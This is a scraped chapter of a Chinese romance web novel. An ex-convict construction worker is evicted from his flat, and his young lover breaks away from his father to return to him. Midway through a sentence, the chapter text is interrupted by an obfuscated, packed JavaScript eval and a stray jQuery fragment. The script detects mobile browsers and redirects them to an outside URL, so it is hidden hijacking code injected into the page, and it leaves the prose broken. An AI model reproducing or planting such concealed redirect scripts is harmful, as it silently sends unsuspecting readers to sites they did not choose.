默认冷灰
24号文字
方正启体

25.被驱逐

作者:美岱本书字数:K更新时间:
    夏迩往后退了一步,抓住赵俞琛的手松开了,落下了。


    大串的眼泪无声涌出,嘴唇哆嗦,想说什么,却什么都说不出来。


    一扇扇门谨慎地关上,寂静中声控灯灭。沉默中两双眼睛对视,最后,是赵俞琛缓慢地移开了。


    夏迩被冲进来的夏父拉走,他就像失去了所有力气,残余的一份仅留在眼球上,不甘而惶惑地盯着赵俞琛,从侧脸、到背影,直到他被父亲拉出了这间房、这栋楼,他死死地盯着赵俞琛的方向。


    可他完全没有意识到,自己离开赵俞琛了。


    赵俞琛缓慢地舒了一口气,走进了房门。坐在床檐,他大脑一片空白。


    现在他应该等待什么,他说不清,但有些事情一定会到,只是时间问题。另外,他极力不去想刚刚夏迩的眼神,虽然那泫然的泪眼在他心中久留不去,让他像触电般地有股刺痛感。他承认,很难受,很痛,喉咙发紧,甚至在此时鼻头泛起了酸涩。他有点想流泪,却固执地不肯流泪。


    他朝后躺,合身舒展在床上,他修长的四肢呈大字型摆着,这个动作配上松软的床垫,让他有种下坠的感觉。他可以把自己交托于想象,想象自己正在湖中往下沉,沉到无人之处,整个世界就只有他一个人。


    可是很不幸,这片湖有另一个人的味道,这个味道让他罕见地红了眼眶,尽管紧闭双眼,那颤抖的、湿润的睫毛,依旧出卖了他痛苦的心绪。


    他猛吸几口气,捂住心脏坐了起来,就在这时,鲜少响起的手机震动个不停。


    赵俞琛接电话,对面传来房东的声音。


    “不是要赶你走,你说说,你这个事儿怎么好办,人家租户怎么能放心,还要,那对面住的邻居也知道啦,要告诉物业和居委会去,本来群租就不大合规……”


    “最好今晚就搬走吧,说你在这他们不敢睡……”


    “押金会退给你的,你今晚走就退,不然免谈,你是隐瞒我在先,谁会租房给一个杀人犯,真晦气……”


    赵俞琛安静地听着,没有说话,上海的二房东很多都是福建人,他们有自己的团体,要你搬走,你最好乖乖听话。倒不是怕他,也不是舍不得那几百块钱的押金,赵俞琛想,如果邻居们还要因为自己而不敢睡觉,虽然匪夷所思,但他到底不愿意背上这样沉重的包袱。


    “好,”赵俞琛听见自己的声音淡淡的,“我今晚就走。”


    从床上站起来的时候,赵俞琛终于知道自己等待的是什么了。


    ——驱逐。


    他想到了斯宾诺莎,想到了洛克·霍华德。


    自顾自地笑了一下,没有片刻犹疑,他开始着手收拾东西。他的行李不多,从监狱里出来时他孑然一人,就像个新生的婴儿,所有的物什都是后来租了这个房子后才置办的。那几年他拒绝和昔日的朋友见面,也不再跟视他为污点的家人联系,他独行于世,觉得一切都还不错。尤其是他找到了一栋刚动工的建筑,这两年,他几乎视这座建筑为自己的孩子、朋友、作品……在钢筋混凝土中,他慢慢活过来了,活过来了,于是就让人这样贸然进入到他的生活了。


    这是个严重的失误,他唯一庆幸的是,他没有碰那个孩子。至少夏迩身上不会有污点。他想。


    思绪漫游够了,赵俞琛便用迅捷的行动压制所有的想法,他站在门口,托着下巴,专注于眼前的房间。衣服没几件,两个蛇皮口袋就足够,床单和被褥可以用绳子绑扎起来,背在后背,还有几双鞋子,用鞋带一系,挂在身上……还有电脑、蓝牙音箱、电饭煲……他仔细思索了一阵,跑两趟就足够了。


    应该在外面预定一家旅馆过渡一下,他拿起了手机,选了一家附近最便宜的旅馆,五十块钱,他能想象墙上的霉味。


    只是收拾东西可没那么简单,譬如说,当他把自己衬衫从那件薄薄的蕾丝衬衫剥下来的时候,他的嗓子眼发紧,想起了夏迩跟他提过的一部电影,当他看到那本被翻得翘了边的单词本放在床头柜时,他想起夏迩在床上滚来滚去背单词的模样,当他为了过路不得不收起那副白色桌椅时,一滴凝固在桌边的没擦干净的油滴,像滚烫的岩浆般烫伤了他的眼睛。


    他站直身体深呼吸了一下,然后继续收拾整理,还需要蛇皮纸袋,他预备出门,到楼下超市里买两个袋子。


    拿起钥匙,他很快下了楼。


    这是晚上九点,气温有点低,他没穿外套,没来得及洗干净的身体上有股水泥的味道。他抓起领口闻了闻,多亏了冷天气,他还没发臭,不然一身汗位脏兮兮地去超市,又得挨白眼。


    找了两个蛇皮袋,很贵,一个要二十块钱,买了两个,他拎着回家。这时下起小雨来了,雨丝在他的头发上结了一层,就像湿润的蛛网。他往回走,饿得胃开始痉挛,但遵循今晚就必须搬走的约定,他没时间绕到另外街区上吃上一碗馄饨。


    尽力不去想,也不去思考,就在他机械性地收拾行李时,夏迩从一辆公交车上醒了过来。


    他并没有睡着,也不可能睡着,只是脑子一团乱麻。公交车颠簸在道路上,走走停停,行道树枯干的枝桠掠过车顶,发出窸窸窣窣的声音,坐在身边的父亲嘴里不住地咒骂,手就伸进了他的荷包里要掏手机转钱……


    这一切就跟梦一样。


    可是突然,公交车停了,开门,上来几个刚下工的农民工。


    夏迩闻到了那股熟悉的水泥味道。


    那股建立起城市、这几个月一直滋养着他、爱护着他的味道。


    如梦初醒般,他蹭的一下站了起来。


    “我怎么能离开他!”他喊了出来,跟舞台剧台词一样。


    随即是号啕大哭,夏迩冲到车门,对司机喊:“停车!停车,我要下车!”


    “臭小子,你疯了!”夏父着恼,伸手去抓他。


    “你放开我!我是不会跟你走的,无论如何都不会跟你走的!”


    “你还要回去啊,他可是个杀过人的!”


    “杀过人的又怎么样,我不在乎!我不在乎!”夏迩挣脱夏父,朝司机跑去,哭道:“求求您,停车,我要回去,我要回去啊!”


    “还没到站,等、等会啊。”司机被这一幕弄得不明所以,握住方向盘的手都在抖。


    “求您……”


    夏迩扶着扶手,瘫软在地,恸哭不停。后来他总说自己比起赵俞琛来是幸运的一个,因为他夏迩想哭就可以哭,当着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260196|179392||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这么多陌生人的面,在行驶的公交车上,为了自己的离开,他哭得撕心裂肺。


    可赵俞琛从来不哭。


    是的,赵俞琛不哭,他漠视自己的痛苦,甚至轻蔑,他对自己说,只是嗓子眼发紧,生理现象,一会儿就过去了。


    先搬一部分行李下楼,绑到电瓶车后面,送到旅馆后再来搬第二趟。至于夏迩的那些衣服和琴,先打包带走,日后再送到酒吧去。


    不能自己送,可以让费小宝送过去,那小子还欠着自己五十块钱,就当跑路费了。


    他应该不想再看到自己,赵俞琛想,否则他不会离开。不过他现在应该明白了有些事自己为什么不能做,也好,还没到把心彻底交托出去的程度。痛,但还能忍,反正早就知道会是这个结局。


    只是,没什么遗憾的。这段本不该出现的感情跟人一样突如其来,那些空虚的时刻在一道道笑容里被消弭,即使他从来没有忘记自己身上的罪,可有那么一些瞬间,他认为自己还是可以爱的。


    不必质问那些莫须有的事情,扪心自问,他知道自己爱过。


    爱过,所以坦然接受他的离开。


    爱过,所以在雨中,流下两行泪也没什么。


    第一趟行李搬完,赵俞琛停好电瓶车,托着疲惫的身躯上楼。白天在工地上干了足足十个小时,晚上还要连夜搬家,赵俞琛的胳膊像被拴了石头,都快要没知觉。


    可只要还有一丝的劲儿,他就觉得自己不能停。


    他得赶快离开。


    收拾好那些家电,拎起夏迩的那个旅行包,背起他的琴,赵俞琛深深望了一眼那横在墙边的折叠桌椅,带不走了,也没必要带走,赵俞琛转身,毅然地关上了门。


    让发生在这里的就留在这里。


    下楼,赵俞琛绑好了行李,骑在电瓶车上,他给房东发了条短信。


    “已搬走,钥匙放在桌上。”


    大包小包的,他像个逃难的,第二趟行李多,骑车很艰难,于是他就推着车走,每走一步,他都觉得自己的呼吸更加沉重。雨下得越来越大,他的眼睛快要睁不开。


    出小区时,保安给他打开门,他说了声谢谢,保安认识他的脸,捧着保温瓶问:“这么晚搬家啊。”


    “嗯。”


    “再见了啊。”


    “再见。”


    赵俞琛还从没想过要说出这两个字,说出后觉得理所当然,又感到十分陌生。


    推着车,他在雨中行走。


    白惨惨的路灯氤氲在雨天,电瓶车很重,可走着走着却变得轻了,赵俞琛的双臂逐渐感受不到行李的重量,好像雨冲刷掉了他被驱逐的狼狈,让他一身轻松。可他却知道,是在这艰难的跋涉中,□□的疼痛伴随精神的折磨都变得麻木,他太累了,太痛了,抗争过了头于是就变成团无意识的有机物,推着一团无机物朝前走,走得很慢,却很稳当。


    可这重量在某一时刻有空泛的轻变成实实在在的轻,赵俞琛愣住了,思绪回归,他意识到重量的确在减少,隐约间还听到了轻微的啜泣声。


    他的脚步停下,疑惑地转身。


    目光所及,是自后扶着电瓶车、哭着仰头望向自己的那个人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)